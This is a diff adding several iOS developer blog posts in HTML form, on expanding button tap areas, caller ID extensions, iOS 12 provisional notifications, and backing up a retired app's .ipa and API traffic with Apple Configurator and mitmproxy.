This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Converting Medium Posts to Markdown

Visitor Pattern in TableView

diff --git a/posts/a8c2d7ed144b/index.html b/posts/a8c2d7ed144b/index.html new file mode 100644 index 0000000000..c5640f9933 --- /dev/null +++ b/posts/a8c2d7ed144b/index.html @@ -0,0 +1,101 @@ + iOS Expand Button Click Area | ZhgChgLi
Home iOS Expand Button Click Area
Post
Cancel

iOS Expand Button Click Area

iOS Expand Button Click Area

Rewrite pointInside to expand the touch area

In daily development, it is often encountered that after arranging the UI according to the design, the screen looks beautiful, but the actual operation shows that the button’s touch area is too small, making it difficult to click accurately; especially unfriendly to people with thick fingers.

Completed Example

Completed Example

Before…

Initially, I didn’t delve deeply into this issue and directly overlaid a larger transparent UIButton on the original button, using this transparent button to respond to events. This approach was very cumbersome and difficult to control when there were many components.

Later, I solved it by layout, setting the button to align 0 (or lower) on all sides during layout, and then controlling the imageEdgeInsets, titleEdgeInsets, and contentEdgeInsets parameters to push the Icon/button title to the correct position in the UI design. However, this method is more suitable for projects using Storyboard/xib because you can directly push the layout in Interface Builder. Additionally, the designed Icon should ideally have no spacing, otherwise, it will be difficult to align, sometimes stuck at that 0.5 distance, no matter how you adjust it, it won’t align.

After…

As the saying goes, “seeing more broadens the mind.” Recently, after encountering a new project, I learned a small trick; you can increase the event response range in UIButton’s pointInside. By default, it is UIButton’s Bounds, but we can extend the Bounds size inside to make the button’s clickable area larger!

Based on the above idea, we can:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+
class MyButton: UIButton {
+    var touchEdgeInsets:UIEdgeInsets?
+    override open func point(inside point: CGPoint, with event: UIEvent?) -> Bool {
+        var frame = self.bounds
+        
+        if let touchEdgeInsets = self.touchEdgeInsets {
+            frame = frame.inset(by: touchEdgeInsets)
+        }
+        
+        return frame.contains(point);
+    }
+}
+

Customize a UIButton, adding the touchEdgeInsets public property to store the range to be expanded, making it convenient for us to use; then override the pointInside method to implement the above idea.

Usage:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+
import UIKit
+
+class MusicViewController: UIViewController {
+
+    @IBOutlet weak var playerButton: MyButton!
+    
+    override func viewDidLoad() {
+        super.viewDidLoad()
+        
+        playerButton.touchEdgeInsets = UIEdgeInsets(top: -10, left: -10, bottom: -10, right: -10)
+    }
+    
+}
+

Play Button/Blue is the original click area/Red is the expanded click area

Play Button/Blue is the original click area/Red is the expanded click area

When using, just remember to set the Button’s Class to our custom MyButton, and then you can expand the click area for individual Buttons by setting touchEdgeInsets!

️⚠️⚠️⚠️⚠️️️️⚠️️️️

When using Storyboard/xib, remember to set Custom Class to MyButton

⚠️⚠️⚠️⚠️⚠️

touchEdgeInsets extends outward from the center of (0,0) itself, so the distances for top, bottom, left, and right should be negative numbers.

Looks good… but:

Replacing every UIButton with a custom MyButton is quite cumbersome and increases the complexity of the program. It might even cause conflicts in large projects.

For functionalities that we believe all UIButtons should inherently have, if possible, we would prefer to directly extend the original UIButton:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+
private var buttonTouchEdgeInsets: UIEdgeInsets?
+
+extension UIButton {
+    var touchEdgeInsets:UIEdgeInsets? {
+        get {
+            return objc_getAssociatedObject(self, &buttonTouchEdgeInsets) as? UIEdgeInsets
+        }
+
+        set {
+            objc_setAssociatedObject(self,
+                &buttonTouchEdgeInsets, newValue,
+                .OBJC_ASSOCIATION_RETAIN_NONATOMIC)
+        }
+    }
+    
+    override open func point(inside point: CGPoint, with event: UIEvent?) -> Bool {
+        var frame = self.bounds
+        
+        if let touchEdgeInsets = self.touchEdgeInsets {
+            frame = frame.inset(by: touchEdgeInsets)
+        }
+        
+        return frame.contains(point);
+    }
+}
+

Use it as described in the previous usage example.

Since Extensions cannot contain properties or it will cause a compilation error “Extensions must not contain stored properties”, we refer to Using Property with Associated Object to associate the external variable buttonTouchEdgeInsets with our Extension, allowing it to be used like a regular property. (For detailed principles, please refer to Mao Da’s article )

What about UIImageView (UITapGestureRecognizer)?

For image clicks, we add a Tap gesture to the View; Similarly, we can achieve the same effect by overriding UIImageView’s pointInside.

Done! After continuous improvements, solving this issue has become much simpler and more convenient!

References:

UIView Change Touch Range (Objective-C)

Postscript

Around the same time last year, I wanted to start a small category “ Small things make big things “ to record the trivial daily development tasks. These small tasks, when accumulated, can significantly improve the overall APP experience or the program itself. However, after a year, I only added one more article <( _ _ )>. Small tasks are really easy to forget to record!

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Medium One-Year Review

First Experience with iOS Reverse Engineering

diff --git a/posts/ac557047d206/index.html b/posts/ac557047d206/index.html new file mode 100644 index 0000000000..29a9ca8ef1 --- /dev/null +++ b/posts/ac557047d206/index.html @@ -0,0 +1,249 @@ + Identify Your Own Calls (Swift) | ZhgChgLi
Home Identify Your Own Calls (Swift)
Post
Cancel

Identify Your Own Calls (Swift)

Identify Your Own Calls (Swift)

iOS DIY Whoscall Call Identification and Phone Number Tagging Features

Origin

I have always been a loyal user of Whoscall. I used it when I originally had an Android phone, and it could display unknown caller information very promptly, allowing me to decide whether to answer the call immediately. Later, I switched to the Apple camp, and my first Apple phone was the iPhone 6 (iOS 9). At that time, using Whoscall was very awkward; it couldn’t identify calls in real-time, and I had to copy the phone number to the app for inquiry. Later, Whoscall provided a service to install the unknown phone number database locally on the phone, which solved the real-time identification problem but easily messed up my phone contacts!

Until iOS 10+ when Apple opened the call identification feature (Call Directory Extension) permissions to developers, Whoscall’s experience at least matched the Android version, if not surpassed it (the Android version has a lot of ads, but from a developer’s standpoint, it’s understandable).

Purpose?

Call Directory Extension can do what?

  1. Phone outgoing call identification and tagging
  2. Phone incoming call identification and tagging
  3. Call history identification and tagging
  4. Phone blocking blacklist setup

Limitations?

  1. Users need to manually go to “Settings” -> “Phone” -> “Call Blocking & Identification” to enable your app.
  2. Can only identify calls using an offline database (cannot obtain incoming call information in real-time and then call an API for inquiry, can only pre-write number <-> name mappings in the phone database). *Therefore, Whoscall periodically pushes notifications asking users to open the app to update the call identification database.
  3. Quantity limit? No data found so far, it should depend on the user’s phone capacity with no special limit; however, a large number of identification lists and blocking lists need to be processed in batches!
  4. Software limitation: iOS version must be ≥ 10

“Settings” -> “Phone” -> “Call Blocking & Identification”

“Settings” -> “Phone” -> “Call Blocking & Identification”

Application Scenarios?

  1. Communication software, office communication software; in the app, you may have the contact of the other party but have not actually added the phone number to the phone contacts. This feature can avoid missing calls from colleagues or even the boss by treating them as unknown calls.
  2. Our site (Marry) or our private (591 Real Estate), when users contact stores or landlords, the calls are made through our transfer numbers, routed through the transfer center to the target phone. The general process is as follows:

The calls made by users are all representative numbers of the transfer center (#extension), and they will not know the real phone number; on one hand, it protects personal privacy, and on the other hand, it allows us to know how many people contacted the store (evaluate effectiveness) and even know where they saw it before calling (e.g., webpage shows #1234, app shows #5678). It also allows us to offer free services by absorbing the phone communication costs.

However, this approach brings an unavoidable problem: messy phone numbers. It is impossible to identify who the call is for or when the store calls back, the user does not know who the caller is. Using the call identification feature can greatly solve this problem and improve the user experience!

Here’s a finished product screenshot:

[Marry APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E6%9C%80%E5%A4%A7%E5%A9%9A%E7%A6%AE%E7%B1%8C%E5%82%99app/id1356057329?mt=8){:target="_blank"}

結婚吧 APP

You can see that when entering the phone number, the recognition result can be directly displayed during the call, and the call history list is no longer messy and can display the recognition result at the bottom.

Call Directory Extension Call Recognition Function Workflow:

Let’s Get Started:

Let’s start working!

1. Add Call Directory Extension to the iOS project

Xcode -> File -> New -> Target

Xcode -> File -> New -> Target

Select Call Directory Extension

Select Call Directory Extension

Enter Extension Name

Enter Extension Name

Optionally add Scheme for easier Debugging

Optionally add Scheme for easier Debugging

A folder and program for Call Directory Extension will appear under the directory

A folder and program for Call Directory Extension will appear under the directory

First, return to the main iOS project

The first question is how do we determine if the user’s device supports Call Directory Extension or if the “Call Blocking & Identification” in the settings is turned on:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+
import CallKit
+//
+//......
+//
+if #available(iOS 10.0, *) {
+    CXCallDirectoryManager.sharedInstance.getEnabledStatusForExtension(withIdentifier: "Enter the bundle identifier of the call directory extension here", completionHandler: { (status, error) in
+        if status == .enabled {
+          //Enabled
+        } else if status == .disabled {
+          //Disabled
+        } else {
+          //Unknown, not supported
+        }
+    })
+}
+

As mentioned earlier, the way call recognition works is to maintain a local recognition database; so how do we achieve this function?

Unfortunately, you cannot directly call and write data to the Call Directory Extension, so you need to maintain an additional corresponding structure, and then the Call Directory Extension will read your structure and write it into the recognition database. The process is as follows:

This means we need to maintain our own database file, and then let the Extension read and write it into the phone

This means we need to maintain our own database file, and then let the Extension read and write it into the phone

So what should the recognition data/file look like?

It is actually a Dictionary structure, such as: [“Phone”:”Wang Da Ming”]

The local file can use some Local DB (but the Extension must also be able to install and use it). Here, a .json file is directly stored on the phone; It is not recommended to store it directly in UserDefaults. If it is for testing or very little data, it is okay, but it is strongly not recommended for actual applications!

Okay, let’s start:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+
if #available(iOS 10.0, *) {
+    if let dir = FileManager.default.containerURL(forSecurityApplicationGroupIdentifier: "Your cross-Extension, Group Identifier name") {
+        let fileURL = dir.appendingPathComponent("phoneIdentity.json")
+        var datas:[String:String] = ["8869190001234":"Mr. Li","886912002456":"Handsome"]
+        if let content = try? String(contentsOf: fileURL, encoding: .utf8),let text = content.data(using: .utf8),let json2 = try? JSONSerialization.jsonObject(with: text, options: .mutableContainers) as? Dictionary<String,String>,let json = json2 {
+            datas = json
+        }
+        if let data = jsonToData(jsonDic: datas) {
+            DispatchQueue(label: "phoneIdentity").async {
+                if let _ = try? data.write(to: fileURL) {
+                    //Writing json file completed
+                }
+            }
+        }
+    }
+}
+

Just general local file maintenance, note that the directory needs to be readable by the Extension as well.

Supplement — Phone Number Format:

  1. For landline and mobile numbers in Taiwan, remove the 0 and replace it with 886: e.g., 0255667788 -> 886255667788
  2. The phone number format should be a string of pure numbers, do not mix in symbols like “-“, “,”, “#”, etc.
  3. If the landline phone number includes an extension, append it directly without any symbols: e.g., 0255667788,0718 -> 8862556677880718
  4. To convert the general iOS phone format into a format recognizable by the database, you can refer to the following two replacement methods:
1
+2
+3
+4
+5
+6
+7
+
var newNumber = "0255667788,0718"
+if let regex = try? NSRegularExpression(pattern: "^0{1}") {
+    newNumber = regex.stringByReplacingMatches(in: newNumber, options: [], range: NSRange(location: 0, length: newNumber.count), withTemplate: "886")
+}
+if let regex = try? NSRegularExpression(pattern: ",") {
+    newNumber = regex.stringByReplacingMatches(in: newNumber, options: [], range: NSRange(location: 0, length: newNumber.count), withTemplate: "")
+}
+

Next, as per the process, once the identification data is maintained, you need to notify the Call Directory Extension to refresh the data on the phone:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+
if #available(iOS 10.0, *) {
+    CXCallDirectoryManager.sharedInstance.reloadExtension(withIdentifier: "tw.com.marry.MarryiOS.CallDirectory") { errorOrNil in
+        if let error = errorOrNil as? CXErrorCodeCallDirectoryManagerError {
+            print("reload failed")
+            
+            switch error.code {
+            case .unknown:
+                print("error is unknown")
+            case .noExtensionFound:
+                print("error is noExtensionFound")
+            case .loadingInterrupted:
+                print("error is loadingInterrupted")
+            case .entriesOutOfOrder:
+                print("error is entriesOutOfOrder")
+            case .duplicateEntries:
+                print("error is duplicateEntries")
+            case .maximumEntriesExceeded:
+                print("maximumEntriesExceeded")
+            case .extensionDisabled:
+                print("extensionDisabled")
+            case .currentlyLoading:
+                print("currentlyLoading")
+            case .unexpectedIncrementalRemoval:
+                print("unexpectedIncrementalRemoval")
+            }
+        } else if let error = errorOrNil {
+            print("reload error: \(error)")
+        } else {
+            print("reload succeeded")
+        }
+    }
+}
+

Use the above method to notify the Extension to refresh and obtain the execution result. (At this time, the beginRequest in the Call Directory Extension will be called, please continue reading)

The main iOS project code ends here!

3. Start modifying the Call Directory Extension code

Open the Call Directory Extension directory and find the file CallDirectoryHandler.swift that has been created for you.

The only method that can be implemented is beginRequest for handling actions when processing phone data. The default examples are already set up for us, so there’s not much need to change them:

  1. addAllBlockingPhoneNumbers: Handles adding blacklist numbers (all at once)
  2. addOrRemoveIncrementalBlockingPhoneNumbers: Handles adding blacklist numbers (incrementally)
  3. addAllIdentificationPhoneNumbers: Handles adding caller identification numbers (all at once)
  4. addOrRemoveIncrementalIdentificationPhoneNumbers: Handles adding caller identification numbers (incrementally)

We just need to complete the implementation of the above functions. The principles for blacklist functionality and caller identification are the same, so they won’t be introduced in detail here.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+
private func fetchAll(context: CXCallDirectoryExtensionContext) {
+    if let dir = FileManager.default.containerURL(forSecurityApplicationGroupIdentifier: "Your App Group Identifier") {
+        let fileURL = dir.appendingPathComponent("phoneIdentity.json")
+        if let content = try? String(contentsOf: fileURL, encoding: .utf8), let text = content.data(using: .utf8), let numbers = try? JSONSerialization.jsonObject(with: text, options: .mutableContainers) as? Dictionary<String, String> {
+            numbers?.sorted(by: { (Int($0.key) ?? 0) < Int($1.key) ?? 0 }).forEach({ (obj) in
+                if let number = CXCallDirectoryPhoneNumber(obj.key) {
+                    autoreleasepool {
+                        if context.isIncremental {
+                            context.removeIdentificationEntry(withPhoneNumber: number)
+                        }
+                        context.addIdentificationEntry(withNextSequentialPhoneNumber: number, label: obj.value)
+                    }
+                }
+            })
+        }
+    }
+}
+
+private func addAllIdentificationPhoneNumbers(to context: CXCallDirectoryExtensionContext) {
+    // Retrieve phone numbers to identify and their identification labels from data store. For optimal performance and memory usage when there are many phone numbers,
+    // consider only loading a subset of numbers at a given time and using autorelease pool(s) to release objects allocated during each batch of numbers which are loaded.
+    //
+    // Numbers must be provided in numerically ascending order.
+    //        let allPhoneNumbers: [CXCallDirectoryPhoneNumber] = [ 1_877_555_5555, 1_888_555_5555 ]
+    //        let labels = [ "Telemarketer", "Local business" ]
+    //
+    //        for (phoneNumber, label) in zip(allPhoneNumbers, labels) {
+    //            context.addIdentificationEntry(withNextSequentialPhoneNumber: phoneNumber, label: label)
+    //        }
+    fetchAll(context: context)
+}
+
+private func addOrRemoveIncrementalIdentificationPhoneNumbers(to context: CXCallDirectoryExtensionContext) {
+    // Retrieve any changes to the set of phone numbers to identify (and their identification labels) from data store. For optimal performance and memory usage when there are many phone numbers,
+    // consider only loading a subset of numbers at a given time and using autorelease pool(s) to release objects allocated during each batch of numbers which are loaded.
+    //        let phoneNumbersToAdd: [CXCallDirectoryPhoneNumber] = [ 1_408_555_5678 ]
+    //        let labelsToAdd = [ "New local business" ]
+    //
+    //        for (phoneNumber, label) in zip(phoneNumbersToAdd, labelsToAdd) {
+    //            context.addIdentificationEntry(withNextSequentialPhoneNumber: phoneNumber, label: label)
+    //        }
+    //
+    //        let phoneNumbersToRemove: [CXCallDirectoryPhoneNumber] = [ 1_888_555_5555 ]
+    //
+    //        for phoneNumber in phoneNumbersToRemove {
+    //            context.removeIdentificationEntry(withPhoneNumber: phoneNumber)
+    //        }
+    
+    //context.removeIdentificationEntry(withPhoneNumber: CXCallDirectoryPhoneNumber("886277283610")!)
+    //context.addIdentificationEntry(withNextSequentialPhoneNumber: CXCallDirectoryPhoneNumber("886277283610")!, label: "TEST")
+    
+    fetchAll(context: context)
+    // Record the most-recently loaded set of identification entries in data store for the next incremental load...
+}
+

Because the data on my site is not too much and my local data structure is quite simple, it is not possible to do incremental updates; therefore, we will use the method of completely adding new data. If using the incremental method, you must delete the old data first (this step is very important, otherwise reloading the extension will fail!).

Done!

That’s it! The implementation is very simple!

Tips:

  1. If the app keeps spinning when you open it in “Settings” > “Phone” > “Call Blocking & Identification” or if it cannot recognize numbers after opening, first check if the number is correct, if the local maintained .json data is correct, and if the extension reload was successful; or try rebooting. If you still can’t figure it out, you can select the Scheme Build of the call directory extension to see the error message.
  2. The most difficult part of this feature is not the programming aspect but guiding the user to manually set it up and turn it on. For specific methods and guidance, you can refer to Whoscall:

[Whoscall](https://whoscall.com/zh-TW/){:target="_blank"}

Whoscall

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

iOS tintAdjustmentMode Property

Perfect Implementation of One-Time Offers or Trials in iOS (Swift)

diff --git a/posts/ade9e745a4bf/index.html b/posts/ade9e745a4bf/index.html new file mode 100644 index 0000000000..17614c9d95 --- /dev/null +++ b/posts/ade9e745a4bf/index.html @@ -0,0 +1,65 @@ + What? iOS 12 Can Receive Push Notifications Without User Authorization (Swift) | ZhgChgLi
Home What? iOS 12 Can Receive Push Notifications Without User Authorization (Swift)
Post
Cancel

What? iOS 12 Can Receive Push Notifications Without User Authorization (Swift)

What? iOS 12 Can Send Push Notifications Without User Authorization (Swift) — (Updated 2019-02-06)

Introduction to UserNotifications Provisional Authorization and iOS 12 Silent Notifications

MurMur……

Recently, I was improving the low permission and click-through rates of APP push notifications and made some optimizations. The initial version had a very poor experience; as soon as the APP was installed and launched, it directly popped up a window asking “APP wants to send notifications.” Naturally, the rejection rate was very high. According to the statistics from the previous article using Notification Service Extension, it is estimated that only about 10% of users allowed push notifications.

Currently, the new installation guide process has been adjusted, and the timing of the notification permission window has been optimized as follows:

[Wedding APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"}

Wedding APP

If the user is still hesitant or wants to try the APP before deciding whether to receive notifications, they can click “Skip” in the upper right corner to avoid the irreversible result of pressing “Don’t Allow” due to unfamiliarity with the APP at the beginning.

Getting to the Point

While working on the above optimization, I discovered that UserNotifications in iOS 12 added a new .provisional permission. In plain language, it is a temporary notification permission that allows sending push notifications (silent notifications) to users without popping up a notification permission window. Let’s see the actual effect and limitations.

How to Request Provisional Notification Permission?

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
if #available(iOS 12.0, *) {
+    let center = UNUserNotificationCenter.current()
+    let permissions: UNAuthorizationOptions = [.badge, .alert, .sound, .provisional]
+    // You can request only provisional permission .provisional, or request all necessary permissions at once XD
+    // It will not trigger the notification permission window
+    
+    center.requestAuthorization(options: permissions) { (granted, error) in
+        print(granted)
+    }
+}
+

We add the above code to AppDelegate didFinishLaunchingWithOptions and then open the APP. We will find that the notification permission window does not pop up. At this time, we go to Settings to check APP Notification Settings.

(Figure 1) Obtaining Silent Notification Permission

(Figure 1) Obtaining Silent Notification Permission

We have quietly obtained the silent notification permission 🏆

In the code, add the authorizationStatus .provisional item (only for iOS 12 and later) to determine the current push notification permission:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+
if #available(iOS 10.0, *) {
+    UNUserNotificationCenter.current().getNotificationSettings { (settings) in
+        if settings.authorizationStatus == .authorized {
+            // Allowed
+        } else if settings.authorizationStatus == .denied {
+            // Not allowed
+        } else if settings.authorizationStatus == .notDetermined {
+            // Not asked yet
+        } else if #available(iOS 12.0, *) {
+            if settings.authorizationStatus == .provisional {
+                // Currently provisional permission
+            }
+        }
+    }
+}
+

Note! If you are checking the current notification permission status, settings.authorizationStatus == .notDetermined and settings.authorizationStatus == .provisional can both trigger a notification prompt asking the user whether to allow notifications.

What can silent notifications do? How are they displayed?

Let’s start with a diagram summarizing when silent notifications will be displayed:

As you can see, if it is a silent push notification, when the app is in the background state, the notification will not show a banner, will not have a sound alert, cannot be marked, and will not appear on the lock screen. It will only appear in the notification center when the phone is unlocked:

You can see the push notifications you sent, and they will automatically aggregate into a category.

After clicking to expand, the user can choose:

This expanded prompt window will only appear under silent push with "provisional permission"

This expanded prompt window will only appear under silent push with “provisional permission.”

  1. To “continue” receiving push notifications — “Send important notifications”: All notification permissions will be fully granted! All notification permissions will be fully granted! All notification permissions will be fully granted! It’s really important, so I said it three times. At this point, the code requesting permissions earlier will have a significant effect. Or maintain receiving silent notifications.
  2. “Turn off” — “Turn off all notifications” will completely disable push notifications (including silent notifications).

Note: How to manually set the existing app to silent notifications?

Silent notifications are a new setting introduced with iOS 12 for notification optimization and are unrelated to provisional permissions. It’s just that the program can send silent notifications when it gets provisional permissions. Setting an app’s notifications to silent is also very simple. One method is to go to “Settings” - “Notifications” - find the app and turn off all permissions except “Notification Center” (as shown in the first image), which is silent notifications. Or, when receiving an app notification, press/long press to expand, then click the top right “…” and choose to send silent notifications:

When triggering the notification prompt window with provisional permissions:

Remove the .provisional part when requesting notification permissions to still normally ask the user whether to allow notifications:

1
+2
+3
+4
+5
+6
+7
+
if #available(iOS 10.0, *) {
+    let center = UNUserNotificationCenter.current()
+    let permissions: UNAuthorizationOptions = [.badge, .alert, .sound]
+    center.requestAuthorization(options: permissions) { (granted, error) in
+        print(granted)
+    }
+}
+

Press “Allow” to get all notification permissions, press “Don’t Allow” to turn off all notification permissions (including the previously obtained silent notification permissions).

The overall process is as follows:

Summary:

This thoughtful notification optimization in iOS 12 makes it easier to build an interactive bridge between users and developers regarding notification functionality, minimizing the chances of notifications being permanently turned off.

For users, when the notification prompt window pops up, they often don’t know whether to press allow or deny because they don’t know what kind of notifications the developer will send. It could be ads or important messages. The unknown is scary, so most people will conservatively press deny.

For developers, we have carefully prepared many items, including important messages to push to users, but due to the above issue, users block them, and our thoughtfully designed copy goes to waste!

This feature allows developers to seize the opportunity when users first install the app, design the push process and content well, prioritize pushing items of interest to users, increase users’ awareness of the app’s notifications, and track push click rates, then trigger the prompt asking users whether to allow notifications at the right time.

Although the only exposure is in the Notification Center, having exposure means having a chance. From another perspective, if we were users and didn’t allow notifications, and the app could still send a bunch of notifications with banners, sounds, and appearing on the unlock screen, it would be very annoying (like the other camp XD). Apple’s approach strikes a balance between users and developers.

The current issue is probably… there are still too few iOS 12 users 🤐

2019-02-06 Update on practical application:

In practice, I have “canceled” the implementation of this feature.

Why?

Because it was found that users would passively enter silent push notification mode in the following situations, they need to manually turn on all push notification permissions (banners, sounds, badges).

It’s a bit awkward, which means that if the user denies notification permissions when asked and then turns them on in settings, only silent notification permissions will be enabled. Asking the user to turn on banners, sounds, and badges below is a bit difficult, so for now, it has been temporarily disabled.

Further Reading

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

All About iOS UUID (Swift/iOS ≥ 6)

Handling Push Notification Permission Status from iOS 9 to iOS 12 (Swift)

diff --git a/posts/b04f4fba3cf2/index.html b/posts/b04f4fba3cf2/index.html new file mode 100644 index 0000000000..4691168e30 --- /dev/null +++ b/posts/b04f4fba3cf2/index.html @@ -0,0 +1,81 @@ + What Can Be Done to Commemorate When an App Product Reaches Its End? | ZhgChgLi
Home What Can Be Done to Commemorate When an App Product Reaches Its End?
Post
Cancel

What Can Be Done to Commemorate When an App Product Reaches Its End?

What Can Be Done to Commemorate When an App Product Reaches Its End?

Using mitmproxy + apple configurator to keep an App in its pre-removal state forever

Introduction

Jujutsu Kaisen

Jujutsu Kaisen

After working for a long time and handling many products, I have started to encounter products that I once participated in reaching their end (removal). Developing a product from scratch is like nurturing a new life, with the team working together for 3-4 months to bring the child into the world. Although it was later handed over to other caretakers (engineers) for further development, hearing that it is about to reach the end of its product lifecycle still brings some regret.

Life is like this too. We never know if the sun will rise first tomorrow or if an accident will happen. The only thing we can do is cherish the present and do things well.

Commemoration

Every step leaves a trace. We hope to do something before the product reaches its end so that everyone still has a chance to remember it and at least leave proof of its existence. The following methods require the App to still be online; if it has already been removed, then only memories remain.

Non-technical Method — Recording

Besides using the iPhone’s built-in screen recording feature, we can also use QuickTime Player to connect the phone to a Mac for recording and exporting videos.

  1. Open the QuickTime Player App on the Mac

  1. In the top left toolbar, select “File” -> “New Movie Recording”

  1. After the recording interface pops up, click the “v” next to the 🔴, and select your connected phone for the screen and speaker

  1. The recording interface will now display the phone screen

Click the “🔴” to start recording, and operate the content you want to record on the phone.

During recording, the current video size will be displayed. To stop recording, press the “🔴” again.

You can use the QuickTime Player toolbar to simply trim the video. Finally, press “Command” + “s” to export and save the video to the specified location, completing the recording for commemoration.

The advantage of video commemoration is that future memories are more easily connected than with pictures. The deeper you record, the more detailed the record. If you want to convert specific frames into pictures, you can directly take screenshots, which is very convenient.

Technical Method

Technical backup of an App can be divided into two directions: “bones” and “meat”. The App itself is just a skeleton, while the core content data of the App is composed of API Response Data.

  • The bones will disappear as the App is removed from the App Store.
  • The meat will disappear as the API host and server shut down.

Therefore, we also divide the technical backup into bones and meat.

Disclaimer

This article is for technical research and sharing only. It does not encourage the use of any technology for illegal or infringing activities.

[Bones] Backup .ipa App Installation File

After an App is removed from the store, as long as the downloaded App is not actively deleted from the phone, it will always exist on that phone. If you change phones using the transfer method, it will also be transferred.

But if we accidentally delete the App or change phones without transferring it, then it will be gone forever. At this time, if we manually back up the .ipa file from the store, we can extend its life again.

A long time ago, the reverse engineering article mentioned this, but this time we only need to back up the .ipa file without jailbreaking, all using tools provided by Apple.

1. Install Apple Configurator 2

First, go to the Mac App Store to download and install Apple Configurator 2.

2. Connect iPhone to Mac and click Trust This Computer

Once connected successfully, the iPhone’s home screen will appear.

3. Ensure your phone has the app installed that you want to back up the .ipa file for

We need to use Apple Configurator 2 to get the .ipa file downloaded to the cache, so we need to make sure the target app is installed on the phone.

4. Go back to Apple Configurator 2 on the Mac

Double-click the iPhone home screen shown above to enter the information page.

Switch to “App” -> top right corner “+ Add” -> “App”

After logging into the App Store account, you can get a list of apps you have purchased before.

Search for the target app you want to back up, select it, and click “Add”.

A waiting window will appear, adding the app on XXX, downloading “XXX”.

5. Extract the .ipa file

Wait for it to finish downloading, a window will pop up asking if you want to replace the existing installed app.

Do not click anything at this time. Do not click anything at this time. Do not click anything at this time.

Open a Finder:

Select “Go” -> “Go to Folder” from the top left toolbar

Paste the following path:

1
+
~/Library/Group Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps
+

You can find the target app .ipa file that is downloaded and ready to be installed:

Copy it out to complete the app .ipa file backup.

After completing the file copy, go back to Apple Configurator 2 and click stop to terminate the operation.

[Bone] Restore .ipa App Installation File

Similarly, connect the phone to be restored to the Mac and open Apple Configurator 2, enter the app addition interface.

For restoration, select “Choose from my Mac…” in the bottom left corner.

Select the backed-up app .ipa file and click “Add”.

Wait for the transfer and installation to complete, then you can reopen the app on your phone, successfully revived!

[Meat] Back Up the Final API Response Data

Here we will use the method and open-source project mentioned in the previous App End-to-End Testing Local Snapshot API Mock Server article (refer to the details and principles).

With the same technique used for recording API Request & Response for E2E Testing, we can also use it to record the last API Request & Response Data before an app is taken down or shut down.

1. Install mitmproxy

1
+
brew install mitmproxy
+

mitmproxy is an open-source man-in-the-middle attack and network request sniffing tool.

If you are not familiar with the working principle of Mitmproxy man-in-the-middle attacks, you can refer to my previous article: “The APP uses HTTPS transmission, but the data was still stolen.” or the Mitmproxy official documentation.

If you are using it purely for network request sniffing and are not comfortable with the mitmproxy interface, you can also use “Proxyman” as referenced in another previous article.

2. Complete mitmproxy certificate setup

For HTTPS encrypted connections, we need to use a root certificate swap to perform a man-in-the-middle attack. Therefore, the first time you use it, you need to complete the root certificate download and activation on the mobile end.

*If your App & API Server has implemented SSL Pinning, you also need to add the Pinning certificate to mitmproxy.

  • First, ensure that the iPhone and Mac are connected to the same network environment.
  • If there is no WiFi and the computer is connected to a physical network, you can also turn on the Mac’s WiFi sharing feature to let the phone connect to the Mac’s network.

Start mitmproxy or mitmweb (Web GUI version) in Terminal.

1
+
mitmproxy
+

Seeing this screen means the mitmproxy service has started, and there is no traffic coming in, so it is empty. Keep this screen open and do not close the Terminal.

  • Go to the Mac network settings to check the Mac’s IP address.

Go back to the phone’s WiFi settings, click “i” to enter detailed settings, and find “Configure Proxy” at the bottom:

  • Enter the Mac’s IP address in the server field.
  • Enter 8080 in the port field.
  • Save.

Open Safari on the phone and enter: http://mitm.it/

If it shows:

1
+
If you can see this, traffic is not passing through mitmproxy.
+

It means the network proxy server on the phone was not set up successfully, or mitmproxy was not started on the Mac.

Under normal circumstances, it will show:

At this point, only HTTP traffic can be sniffed, and HTTPS traffic will report an error. We will continue to set it up.

This means the connection is successful. Find the iOS section and click “Get mitmproxy-ca-cert.pem”.

  • Click “Allow”.

After the download is complete, go to the phone’s settings, and you will see “Profile Downloaded”. Click to enter.

  • Click to enter, in the upper right corner “Install”, enter the phone password to complete the installation.

Go back to Settings -> “General” -> “About” -> At the bottom “Certificate Trust Settings” -> Enable “mitmproxy”.

  • “Continue” to complete the activation.

At this point, we have completed all the preliminary work for the man-in-the-middle attack.

Remember that all the traffic on your phone will go through the proxy from your Mac computer. After the operation is completed, remember to go back to the network settings on your phone and turn off the proxy server settings, otherwise the phone’s WiFi will not be able to connect to the external network.

Go back to Terminal mitmproxy, and while operating the App on your phone, you can see all the captured API request records.

